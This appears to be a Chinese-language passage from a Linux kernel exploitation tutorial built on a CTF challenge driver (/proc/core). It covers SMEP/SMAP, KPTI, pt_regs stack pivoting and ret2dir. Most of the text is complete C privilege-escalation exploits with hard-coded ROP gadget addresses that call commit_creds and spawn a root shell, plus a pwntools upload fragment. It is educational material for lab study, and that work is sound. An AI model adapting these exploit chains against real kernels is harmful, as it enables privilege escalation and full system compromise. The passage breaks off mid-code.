log.info("count: " + str(count))    for i in range(count):        p.recvuntil("/ quot;)        p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")    p.sendline("chmod +x /tmp/exploit")    p.sendline("/tmp/exploit ")    break p.interactive() 调试 可以看到add rsp, 0x48;pop rbx后，ret指令正好执行我们用户空间的提权代码。 kernel rop without KPIT 开启 smep 和 smap 保护后，内核空间无法执行用户空间的代码，并且无法访问用户空间的数据。因此不能直接 ret2user 。利用 ROP执行 commit_creds(prepare_kernel_cred(0))/commit_creds(init_cred) , 然后 iret 返回用户空间可以绕过上述保护。 添加 smep 和 smap 保护。 qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \ -cpu qemu64,+smep,+smap smep： Supervisor Mode Execution Protection(管理模式执行保护)，当处理器处于 ring 0 模式，执行用户空间的代码会触发页错误。（在 arm 中该保护称为 PXN) smap： Superivisor Mode Access Protection(管理模式访问保护)，类似于 smep，当处理器处于 ring 0 模式，访问用户空间的数据会触发页错误。 利用思路 从 /tmp/kallsyms 读取符号地址，确认与nokaslr偏移，从vmlinux寻找gadget。 保存用户状态。 通过设置 off 读取 canary。 于内核空间 rop 调用 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提权。 通过 swapgs; popfq; ret; ，iretq 返回用户空间，并执行 system("/bin/sh");。 exp #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/ioctl.h> // from vmlinux size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0; size_t commit_creds = 0xFFFFFFFF8109C8E0; size_t init_cred = 0xFFFFFFFF8223D1A0; size_t pop_rdi_ret = 0xffffffff81000b2f; size_t pop_rdx_ret = 0xffffffff810a0f49; size_t pop_rcx_ret = 0xffffffff81021e53; /* * （1）如果使用 commit_creds(prepare_kernel_cred(NULL))； * 由于找不到 mov rdi, rax; ret; 这条 gadget ， * 因此需要用 mov rdi, rax; call rdx; 代替，其中 rdx 指向 pop rcx; ret; * 可以清除 call 指令压入栈中的 rip ，因此相当于 ret 。 * （2）如果使用 commit_creds(init_cred); * 则只需要 pop rdi; ret 即可。 */ size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a; size_t swapgs_popfq_ret = 0xffffffff81a012da; size_t iretq = 0xffffffff81050ac2; void get_shell() {    system("/bin/sh"); } size_t user_cs, user_rflags, user_sp, user_ss; void save_status() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;");    puts("[*] status has been saved."); } int core_fd; void core_read(char *buf) {    ioctl(core_fd, 0x6677889B, buf); } void set_off(size_t off) {    ioctl(core_fd, 0x6677889C, off); } void core_copy_func(size_t len) {    ioctl(core_fd, 0x6677889A, len); } void core_write(char *buf, size_t len) {    write(core_fd, buf, len); } void rebase() {    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");    if (kallsyms_fd < 0) {        puts("[-] Failed to open kallsyms.\n");        exit(-1);   }    char name[0x50], type[0x10];    size_t addr;    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {        size_t offset = -1;        if (!strcmp(name, "commit_creds")) {            offset = addr - (size_t) commit_creds;       } else if (!strcmp(name, "prepare_kernel_cred")) {            offset = addr - (size_t) prepare_kernel_cred;       }        if (offset != -1) {            printf("[*] offset: %p\n", offset);            commit_creds += offset;            prepare_kernel_cred += offset;            init_cred += offset;            pop_rdi_ret += offset;            pop_rdx_ret += offset;            pop_rcx_ret += offset;            mov_rdi_rax_call_rdx += offset;            swapgs_popfq_ret += offset;            iretq += offset;            break;       }   }    printf("[*] commit_creds: %p\n", (size_t) commit_creds);    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred); } size_t get_canary() {    set_off(64);    char buf[64];    core_read(buf);    return *(size_t *) buf; } int main() {    save_status();    rebase();    core_fd = open("/proc/core", O_RDWR);    if (core_fd < 0) {        puts("[-] Failed to open core.");        exit(-1);   }    size_t canary = get_canary();    printf("[*] canary: %p\n", canary);    char buf[0x100];    memset(buf, '\x00', sizeof(buf));    *(size_t *) &buf[0x40] = canary;    size_t *rop = (size_t *) &buf[0x50], it = 0;        rop[it++] = pop_rdi_ret;    rop[it++] = 0;    rop[it++] = prepare_kernel_cred;    rop[it++] = pop_rdx_ret; // rdx ==> pop_rcx_ret_addr    rop[it++] = pop_rcx_ret;    // rax==prepare_kernel_cred(0), cal rdx ==> push commit_creds_addr, then pop_rcx_ret    rop[it++] = mov_rdi_rax_call_rdx;    rop[it++] = commit_creds;        rop[it++] = swapgs_popfq_ret;    rop[it++] = 0;    rop[it++] = iretq;    rop[it++] = (size_t) get_shell;    rop[it++] = user_cs;    rop[it++] = user_rflags;    rop[it++] = user_sp;    rop[it++] = user_ss;    core_write(buf, sizeof(buf));    core_copy_func(0xffffffffffff0000 | sizeof(buf));    return 0; } kernel rop with KPIT 将 CPU 类型修改为 kvm64 后开启了 KPTI 保护。 #!/bin/sh qemu-system-x86_64 \  -m 256M \  -kernel ./bzImage \  -initrd ./core.cpio \  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \  -s \  -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \  -nographic \  -cpu kvm64,+smep,+smap KPTI： kernel page-table isolation，内核页表隔离，进程页表隔离。旨在更好地隔离用户空间与内核空间的内存来提高安全性。KPTI通过完全分离用户空间与内核空间页表来解决页表泄露。一旦开启了KPTI,由于内核态和用户态的页表不同，所以如果使用 ret2user或内核执行ROP返回用户态时，由于内核态无法确定用户态的页表，就会报出一个段错误。可以利用内核现有的gadget将 cr3 与 0x1000 异或(第13位置0)来完成从用户态PGD转换成内核态PGD。 利用思路 比较简单的方法是借助 swapgs_restore_regs_and_return_to_usermode 返回用户态。该函数是内核在 arch/x86/entry/entry_64.S 中提供的一个用于完成内核态到用户态切换的函数。当然我们也可以利用内核的gadget将cr3的第13位置0(与0x1000异或)来完成从用户态PGD转换成内核态PGD。 .text:FFFFFFFF81A008DA ; __int64 swapgs_restore_regs_and_return_to_usermode(void) .text:FFFFFFFF81A008DA                 public swapgs_restore_regs_and_return_to_usermode .text:FFFFFFFF81A008DA swapgs_restore_regs_and_return_to_usermode proc near .text:FFFFFFFF81A008DA                                         ; CODE XREF: ;entry_SYSCALL_64_after_hwframe+4D↑j .text:FFFFFFFF81A008DA                                         ; entry_SYSCALL_64_after_hwframe+5E↑j ... .text:FFFFFFFF81A008DA                 pop     r15 .text:FFFFFFFF81A008DC                 pop     r14 .text:FFFFFFFF81A008DE                 pop     r13 .text:FFFFFFFF81A008E0                 pop     r12 .text:FFFFFFFF81A008E2                 pop     rbp .text:FFFFFFFF81A008E3                 pop     rbx .text:FFFFFFFF81A008E4                 pop     r11 .text:FFFFFFFF81A008E6                 pop     r10 .text:FFFFFFFF81A008E8                 pop     r9 .text:FFFFFFFF81A008EA                 pop     r8 .text:FFFFFFFF81A008EC                 pop     rax .text:FFFFFFFF81A008ED                 pop     rcx .text:FFFFFFFF81A008EE                 pop     rdx .text:FFFFFFFF81A008EF                 pop     rsi /* * 我们再利用时直接跳到这里即可，不过 rop 接下来还要有 16 字节的填充来表示 orig_rax 和 rdi 的位置。 */ .text:FFFFFFFF81A008F0                 mov     rdi, rsp ; jump this .text:FFFFFFFF81A008F3                 mov     rsp, gs:qword_5004 .text:FFFFFFFF81A008FC                 push   qword ptr [rdi+30h] .text:FFFFFFFF81A008FF                 push   qword ptr [rdi+28h] .text:FFFFFFFF81A00902                 push   qword ptr [rdi+20h] .text:FFFFFFFF81A00905                 push   qword ptr [rdi+18h] .text:FFFFFFFF81A00908                 push   qword ptr [rdi+10h] .text:FFFFFFFF81A0090B                 push   qword ptr [rdi] .text:FFFFFFFF81A0090D                 push    rax .text:FFFFFFFF81A0090E                 jmp     short loc_FFFFFFFF81A00953 [......] ;loc_FFFFFFFF81A00953 .text:FFFFFFFF81A00953 loc_FFFFFFFF81A00953:                   ; CODE XREF: ;swapgs_restore_regs_and_return_to_usermode+34↑j .text:FFFFFFFF81A00953                 pop     rax .text:FFFFFFFF81A00954                 pop     rdi .text:FFFFFFFF81A00955                 swapgs .text:FFFFFFFF81A00958                 jmp     native_iret .text:FFFFFFFF81A00958 swapgs_restore_regs_and_return_to_usermode endp [......] ;native_iret .text:FFFFFFFF81A00980                 test   [rsp+arg_18], 4 .text:FFFFFFFF81A00985                 jnz     short native_irq_return_ldt .text:FFFFFFFF81A00985 native_iret     endp [......] ;native_irq_return_ldt .text:FFFFFFFF81A00989                 push    rdi .text:FFFFFFFF81A0098A                 swapgs .text:FFFFFFFF81A0098D                 jmp     short loc_FFFFFFFF81A009A1 [......] ;loc_FFFFFFFF81A009A1 .text:FFFFFFFF81A009A1                 mov     rdi, gs:qword_F000 .text:FFFFFFFF81A009AA                 mov     [rdi], rax .text:FFFFFFFF81A009AD                 mov     rax, [rsp+8] .text:FFFFFFFF81A009B2                 mov     [rdi+8], rax .text:FFFFFFFF81A009B6                 mov     rax, [rsp+8+arg_0] .text:FFFFFFFF81A009BB                 mov     [rdi+10h], rax .text:FFFFFFFF81A009BF                 mov     rax, [rsp+8+arg_8] .text:FFFFFFFF81A009C4                 mov     [rdi+18h], rax .text:FFFFFFFF81A009C8                 mov     rax, [rsp+8+arg_18] .text:FFFFFFFF81A009CD                 mov     [rdi+28h], rax .text:FFFFFFFF81A009D1                 mov     rax, [rsp+8+arg_10] .text:FFFFFFFF81A009D6                 mov     [rdi+20h], rax .text:FFFFFFFF81A009DA                 and     eax, 0FFFF0000h .text:FFFFFFFF81A009DF                 or      rax, gs:qword_F008 .text:FFFFFFFF81A009E8                 push    rax .text:FFFFFFFF81A009E9                 jmp     short loc_FFFFFFFF81A00A2E [......] ;loc_FFFFFFFF81A00A2E .text:FFFFFFFF81A00A2E                 pop     rax .text:FFFFFFFF81A00A2F                 swapgs .text:FFFFFFFF81A00A32                 pop     rdi .text:FFFFFFFF81A00A33                 mov     rsp, rax .text:FFFFFFFF81A00A36                 pop     rax .text:FFFFFFFF81A00A37                 jmp     native_irq_return_iret [......] ;native_irq_return_iret .text:FFFFFFFF81A00987                 iretq .text:FFFFFFFF81A00987 native_irq_return_iret endp exp #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/ioctl.h> size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0; size_t commit_creds = 0xFFFFFFFF8109C8E0; size_t init_cred = 0xFFFFFFFF8223D1A0; size_t pop_rdi_ret = 0xffffffff81000b2f; size_t pop_rdx_ret = 0xffffffff810a0f49; size_t pop_rcx_ret = 0xffffffff81021e53; size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a; size_t swapgs_popfq_ret = 0xffffffff81a012da; size_t iretq = 0xffffffff81050ac2; size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA; void get_shell() {    system("/bin/sh"); } size_t user_cs, user_rflags, user_sp, user_ss; void save_status() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;");    puts("[*] status has been saved."); } int core_fd; void core_read(char *buf) {    ioctl(core_fd, 0x6677889B, buf); } void set_off(size_t off) {    ioctl(core_fd, 0x6677889C, off); } void core_copy_func(size_t len) {    ioctl(core_fd, 0x6677889A, len); } void core_write(char *buf, size_t len) {    write(core_fd, buf, len); } void rebase() {    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");    if (kallsyms_fd < 0) {        puts("[-] Failed to open kallsyms.\n");        exit(-1);   }    char name[0x50], type[0x10];    size_t addr;    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {        size_t offset = -1;        if (!strcmp(name, "commit_creds")) {            offset = addr - (size_t) commit_creds;       } else if (!strcmp(name, "prepare_kernel_cred")) {            offset = addr - (size_t) prepare_kernel_cred;       }        if (offset != -1) {            printf("[*] offset: %p\n", offset);            commit_creds += offset;            prepare_kernel_cred += offset;            init_cred += offset;            pop_rdi_ret += offset;            pop_rdx_ret += offset;            pop_rcx_ret += offset;            mov_rdi_rax_call_rdx += offset;            swapgs_popfq_ret += offset;            iretq += offset;            swapgs_restore_regs_and_return_to_usermode += offset;            break;       }   }    printf("[*] commit_creds: %p\n", (size_t) commit_creds);    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred); } size_t get_canary() {    set_off(64);    char buf[64];    core_read(buf);    return *(size_t *) buf; } int main() {    save_status();    rebase();    core_fd = open("/proc/core", O_RDWR);    if (core_fd < 0) {        puts("[-] Failed to open core.");        exit(-1);   }    size_t canary = get_canary();    printf("[*] canary: %p\n", canary);    char buf[0x100];    memset(buf, '\x00', sizeof(buf));    // 0x40~0x48->canary; 0x48~0x50->rbp; 0x50~0x58->fake_retaddr    *(size_t *) &buf[0x40] = canary;    size_t *rop = (size_t *) &buf[0x50], it = 0;    rop[it++] = pop_rdi_ret;    rop[it++] = 0;    rop[it++] = prepare_kernel_cred;    rop[it++] = pop_rdx_ret;    rop[it++] = pop_rcx_ret;    rop[it++] = mov_rdi_rax_call_rdx;    rop[it++] = commit_creds;    rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;    rop[it++] = 0;    rop[it++] = 0;    rop[it++] = (size_t) get_shell;    rop[it++] = user_cs;    rop[it++] = user_rflags;    rop[it++] = user_sp;    rop[it++] = user_ss;    core_write(buf, sizeof(buf));    core_copy_func(0xffffffffffff0000 | sizeof(buf));    return 0; } 利用 pt_regs 构造 rop qemu启动脚本 #!/bin/sh qemu-system-x86_64 \  -m 256M \  -kernel ./bzImage \  -initrd ./core.cpio \  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \  -s \  -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \  -nographic \  -cpu kvm64,+smep,+smap 查看entry_SYSCALL_64 这一用汇编写的函数内部，注意到当程序进入到内核态时，该函数会将所有的寄存器压入内核栈上，形成一个 pt_regs结构体，该结构体实质上位于内核栈底，https://elixir.bootlin.com/linux/latest/source/arch/x86/include/uapi/asm/ptrace.h#L44如下： struct pt_regs { /* * C ABI says these regs are callee-preserved. They aren't saved on kernel entry * unless syscall needs a complete, fully filled "struct pt_regs". */    unsigned long r15;    unsigned long r14;    unsigned long r13;    unsigned long r12;    unsigned long rbp;    unsigned long rbx; /* These regs are callee-clobbered. Always saved on kernel entry. */    unsigned long r11;    unsigned long r10;    unsigned long r9;    unsigned long r8;    unsigned long rax;    unsigned long rcx;    unsigned long rdx;    unsigned long rsi;    unsigned long rdi; /* * On syscall entry, this is syscall#. On CPU exception, this is error code. * On hw interrupt, it's IRQ number: */    unsigned long orig_rax; /* Return frame for iretq */    unsigned long rip;    unsigned long cs;    unsigned long eflags;    unsigned long rsp;    unsigned long ss; /* top of stack page */ }; 内核栈只有一个页面的大小，而 pt_regs 结构体则固定位于内核栈栈底，当我们劫持内核结构体中的某个函数指针时（例如 seq_operations->start），在我们通过该函数指针劫持内核执行流时 rsp 与 栈底的相对偏移通常是不变的。 而在系统调用当中过程有很多的寄存器其实是不一定能用上的，比如 r8 ~ r15，这些寄存器为我们布置 ROP 链提供了可能，我们不难想到：只需要寻找到一条形如 "add rsp, val ; ret" 的gadget便能够完成ROP，在进入内核态前像寄存器写入一些值，看那些寄存器可以被保留，以便后续写入gadget。 KPTI pass：使用 seq_operations + pt_regs 结构体 seq_operations 的条目如下： struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); }; 当我们打开一个 stat 文件时（如 /proc/self/stat）便会在内核空间中分配一个 seq_operations 结构体 当我们 read 一个 stat 文件时，内核会调用其 proc_ops 的 proc_read_iter 指针，然后调用 seq_operations->start 函数指针 利用思路 这次我们限制溢出只能覆盖返回地址，此时需要栈迁移到其他地方构造 rop 。其中一个思路就是在 pt_regs 上构造 rop 。我们在调用 core_copy_func 函数之前先将寄存器设置为几个特殊的值，然后再 core_copy_func 函数的返回处下断点。 __asm__(        "mov r15, 0x1111111111111111;"        "mov r14, 0x2222222222222222;"        "mov r13, 0x3333333333333333;"        "mov r12, 0x4444444444444444;"        "mov rbp, 0x5555555555555555;"        "mov rbx, 0x6666666666666666;"        "mov r11, 0x7777777777777777;"        "mov r10, 0x8888888888888888;"        "mov r9, 0x9999999999999999;"        "mov r8, 0xaaaaaaaaaaaaaaaa;"        "mov rcx, 0xbbbbbbbbbbbbbbbb;"        "mov rax, 0x10;"        "mov rdx, 0xffffffffffff0050;"        "mov rsi, 0x6677889A;"        "mov rdi, core_fd;"        "syscall"       ); 数字没变的寄存器就是我们能够控制的，可以被我们用来写 gadget。 0b:0058│     0xffffc90000113f58 ◂— 0x1111111111111111 ; r15 0c:0060│     0xffffc90000113f60 ◂— 0x2222222222222222 ('""""""""') ; r14 0d:0068│     0xffffc90000113f68 ◂— 0x3333333333333333 ('33333333') ; r13 0e:0070│     0xffffc90000113f70 ◂— 0x4444444444444444 ('DDDDDDDD') ; r12 0f:0078│     0xffffc90000113f78 ◂— 0x5555555555555555 ('UUUUUUUU') ; rbp 10:0080│     0xffffc90000113f80 ◂— 0x6666666666666666 ('ffffffff') ; rsp 11:0088│     0xffffc90000113f88 ◂— 0x207 12:0090│     0xffffc90000113f90 ◂— 0x8888888888888888 ;r10 13:0098│     0xffffc90000113f98 ◂— 0x9999999999999999 ;r9 14:00a0│     0xffffc90000113fa0 ◂— 0xaaaaaaaaaaaaaaaa ;r8 15:00a8│     0xffffc90000113fa8 ◂— 0xffffffffffffffda 16:00b0│     0xffffc90000113fb0 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44] 17:00b8│     0xffffc90000113fb8 ◂— 0xffffffffffff0050 /* 'P' */ 18:00c0│     0xffffc90000113fc0 ◂— 0x6677889a 19:00c8│     0xffffc90000113fc8 ◂— 0x614d8e5400000004 1a:00d0│     0xffffc90000113fd0 ◂— 0x10 1b:00d8│     0xffffc90000113fd8 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44] 1c:00e0│     0xffffc90000113fe0 ◂— 0x33 /* '3' */ 1d:00e8│     0xffffc90000113fe8 ◂— 0x207 1e:00f0│     0xffffc90000113ff0 —▸ 0x7ffe1d48e620 ◂— 0x0 1f:00f8│     0xffffc90000113ff8 ◂— 0x2b /* '+' */ 新版本内核对抗利用 pt_regs 进行攻击的办法 内核主线在 https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=eea2647e74cd7bd5d04861ce55fa502de165de14 中为系统调用栈添加了一个偏移值，这意味着 pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值： diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c index 4efd39aacb9f2..7b2542b13ebd9 100644 --- a/arch/x86/entry/common.c +++ b/arch/x86/entry/common.c @@ -38,6 +38,7 @@ #ifdef CONFIG_X86_64 __visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs) { +   add_random_kstack_offset();     nr = syscall_enter_from_user_mode(regs, nr);     instrumentation_begin(); 当然，若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下，仍然可以通过布置一些 slide gadget 来继续完成利用，不过稳定性也大幅下降了。 exp #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0; size_t commit_creds = 0xFFFFFFFF8109C8E0; size_t init_cred = 0xFFFFFFFF8223D1A0; size_t pop_rdi_ret = 0xffffffff81000b2f; size_t add_rsp_0xe8_ret = 0xffffffff816bb966; size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA; int core_fd; void core_read(char *buf) {    ioctl(core_fd, 0x6677889B, buf); } void set_off(size_t off) {    ioctl(core_fd, 0x6677889C, off); } void core_write(char *buf, size_t len) {    write(core_fd, buf, len); } void rebase() {    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");    if (kallsyms_fd < 0) {        puts("[-] Failed to open kallsyms.\n");        exit(-1);   }    char name[0x50], type[0x10];    size_t addr;    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {        size_t offset = -1;        if (!strcmp(name, "commit_creds")) {            offset = addr - (size_t) commit_creds;       } else if (!strcmp(name, "prepare_kernel_cred")) {            offset = addr - (size_t) prepare_kernel_cred;       }        if (offset != -1) {            printf("[*] offset: %p\n", offset);            commit_creds += offset;            prepare_kernel_cred += offset;            init_cred += offset;            pop_rdi_ret += offset;            add_rsp_0xe8_ret += offset;            swapgs_restore_regs_and_return_to_usermode += offset + 8;            break;       }   }    printf("[*] commit_creds: %p\n", (size_t) commit_creds);    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred); } size_t get_canary() {    set_off(64);    char buf[64];    core_read(buf);    return *(size_t *) buf; } int main() {    rebase();    core_fd = open("/proc/core", O_RDWR);    if (core_fd < 0) {        puts("[-] Failed to open core.");        exit(-1);   }    size_t canary = get_canary();    printf("[*] canary: %p\n", canary);    char buf[0x100];    memset(buf, '\x00', sizeof(buf));    *(size_t *) &buf[64] = canary;    *(size_t *) &buf[80] = add_rsp_0xe8_ret;    core_write(buf, sizeof(buf));    __asm__(            "mov r15, pop_rdi_ret;"            "mov r14, init_cred;"            "mov r13, commit_creds;"            "mov r12, swapgs_restore_regs_and_return_to_usermode;"            "mov rax, 0x10;"            "mov rdx, 0xffffffffffff0058;"            "mov rsi, 0x6677889A;"            "mov rdi, core_fd;"            "syscall"           );    system("/bin/sh");    return 0; } 执行 add_rsp_0xc8_pop*4_ret 时栈布局，rsp抬高0xc8+0x20后 ret 会执行到我们的 shellcode。 ret2dir 如果 ptregs 所在的内存被修改了导致可控内存变少，我们可以利用 ret2dir 的利用方式将栈迁移至内核的线性映射区。不同版本内核的线性映射区可以从内核源码文档的https://elixir.bootlin.com/linux/v4.15.8/source/Documentation/x86/x86_64/mm.txt查看。 ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法，主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段，http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf。 linux 系统有一部分物理内存区域同时映射到用户空间和内核空间的某个物理内存地址。一块区域叫做 direct mapping area，即内核的线性映射区。，这个区域映射了所有的物理内存。我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址在内核空间中访问到。 但需要注意的是在新版的内核当中 direct mapping area 已经不再具有可执行权限，因此我们很难再在用户空间直接布置 shellcode 进行利用，但我们仍能通过在用户空间布置 ROP 链的方式完成利用。 利用思路 在用户空间大量喷洒我们的gadget: add_rsp_0xe8_ret 返回地址覆盖为对应内核版本的线性映射区+0x7000000的位置。 利用pt_regs保存的pop_rbp_ret; target_addr; leave;ret 来完成栈迁移。 执行线性映射区的shellcode。 exp #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0; size_t commit_creds = 0xFFFFFFFF8109C8E0; size_t init_cred = 0xFFFFFFFF8223D1A0; size_t pop_rdi_ret = 0xffffffff81000b2f; size_t add_rsp_0xe8_ret = 0xffffffff816bb966; size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA; size_t retn = 0xFFFFFFFF81003E15; size_t pop_rbp_ret = 0xFFFFFFFF812D71EF; size_t leave_ret = 0xFFFFFFFF81037384; const size_t try_hit = 0xffff880000000000+0x7000000; size_t user_cs, user_rflags, user_sp, user_ss; size_t page_size; int core_fd; void core_read(char *buf) {    ioctl(core_fd, 0x6677889B, buf); } void set_off(size_t off) {    ioctl(core_fd, 0x6677889C, off); } void core_write(char *buf, size_t len) {    write(core_fd, buf, len); } void save_status() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;"   );    puts("[*]status has been saved."); } void get_shell() {    system("/bin/sh"); } size_t get_canary() {    set_off(64);    char buf[64];    core_read(buf);    return *(size_t *) buf; } void rebase() {    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");    if (kallsyms_fd < 0) {        puts("[-] Failed to open kallsyms.\n");        exit(-1);   }    char name[0x50], type[0x10];    size_t addr;    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {        size_t offset = -1;        if (!strcmp(name, "commit_creds")) {            offset = addr - (size_t) commit_creds;       } else if (!strcmp(name, "prepare_kernel_cred")) {            offset = addr - (size_t) prepare_kernel_cred;       }        if (offset != -1) {            printf("[*] offset: %p\n", offset);            commit_creds += offset;            prepare_kernel_cred += offset;            init_cred += offset;            pop_rdi_ret += offset;            add_rsp_0xe8_ret += offset;            swapgs_restore_regs_and_return_to_usermode += offset;            pop_rbp_ret += offset;            leave_ret += offset;            retn += offset;            break;       }   }    printf("[*] commit_creds: %p\n", (size_t) commit_creds);    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred); } void physmap() {    core_fd = open("/proc/core", O_RDWR);    if (core_fd < 0) {        puts("[-] Error: open core");   }    page_size = sysconf(_SC_PAGESIZE);    printf("[*] page_size %llx", &page_size);    size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);    int idx = 0;    while (idx < (page_size / 8 - 0x30)) {        rop[idx++] = add_rsp_0xe8_ret;   }    for (; idx < (page_size / 8 - 0xb); idx++) {        rop[idx] = retn;   }    rop[idx++] = pop_rdi_ret;    rop[idx++] = init_cred;    rop[idx++] = commit_creds;    rop[idx++] = swapgs_restore_regs_and_return_to_usermode + 0x16;    rop[idx++] = 0x0000000000000000;    rop[idx++] = 0x0000000000000000;    rop[idx++] = (size_t) get_shell;    rop[idx++] = user_cs;    rop[idx++] = user_rflags;    rop[idx++] = user_sp;    rop[idx++] = user_ss;    puts("[*] Spraying physmap...");    for (int i = 1; i < 15000; i++) {        size_t *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);        memcpy(page, rop, page_size);   }    puts("[*] trigger physmap one_gadget..."); } int main() {    rebase();    save_status();    physmap();    size_t canary = get_canary();    printf("[*] canary: %p\n", canary);    char buf[0x100];    memset(buf, 'a', sizeof(buf));    *(size_t *) &buf[0x40] = canary;    *(size_t *) &buf[0x50] = add_rsp_0xe8_ret;    core_write(buf, sizeof(buf));    __asm__(        "mov r15, pop_rbp_ret;"        "mov r14, try_hit;"        "mov r13, leave_ret;"        "mov rax, 0x10;"        "mov rdx, 0xffffffffffff0058;"        "mov rsi, 0x6677889A;"        "mov rdi, core_fd;"        "syscall"   );    return 0; } 流程 （1）修改返回地址为线性映射区的地址，大概率会执行到add_rsp_0xe8_ret将栈抬升到pt_regs处，执行我们负责栈迁移的shell_code。 （2）将栈迁移到我们目标地址后，大量的slider gadget将栈不断抬升到get_root代码处，完成提权。 kernel rop + ret2user 利用思路 这种方法实际上是将前两种方法结合起来，同样可以绕过 smap 和 smep 保护。大体思路是先利用 rop 设置 cr4 为 0x6f0 （这个值可以通过用 cr4 原始值 & 0xFFFFF 得到）关闭 smep ， 然后 iret 到用户空间去执行提权代码。 例如，当 $CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000 时，smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的，因此只需要 mov cr4, 0x1407e0 # 0x1407e0 = 101 0 0000 0011 1111 00000 即可关闭 smep 保护。 搜索一下从 vmlinux 中提取出的 gadget，很容易就能达到这个目的。 如何查看 CR4 寄存器的值？ gdb 无法查看 cr4 寄存器的值，可以通过kernel crash 时的信息查看。为了关闭 smep 保护，常用一个固定值 0x6f0，即 mov cr4, 0x6f0。 exp 注意这里 smap 保护不能直接关闭，因此不能像前面 ret2usr 那样直接在 exp 中写入 trap frame 然后栈迁移到 trap frame 的地址，而是在 rop 中构造 trap frame 结构。 #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/ioctl.h> #define KERNCALL __attribute__((regparm(3))) void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0; void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0; void *init_cred = (void *) 0xFFFFFFFF8223D1A0; size_t pop_rdi_ret = 0xffffffff81000b2f; size_t pop_rdx_ret = 0xffffffff810a0f49; size_t pop_rcx_ret = 0xffffffff81021e53; size_t mov_cr4_rdi_ret = 0xffffffff81075014; size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a; size_t swapgs_popfq_ret = 0xffffffff81a012da; size_t iretq = 0xffffffff81050ac2; void get_shell() {    system("/bin/sh"); } size_t user_cs, user_rflags, user_sp, user_ss; void save_status() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;");    puts("[*] status has been saved."); } void get_root() {    commit_creds(prepare_kernel_cred(0)); } int core_fd; void core_read(char *buf) {    ioctl(core_fd, 0x6677889B, buf); } void set_off(size_t off) {    ioctl(core_fd, 0x6677889C, off); } void core_copy_func(size_t len) {    ioctl(core_fd, 0x6677889A, len); } void core_write(char *buf, size_t len) {    write(core_fd, buf, len); } void rebase() {    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");    if 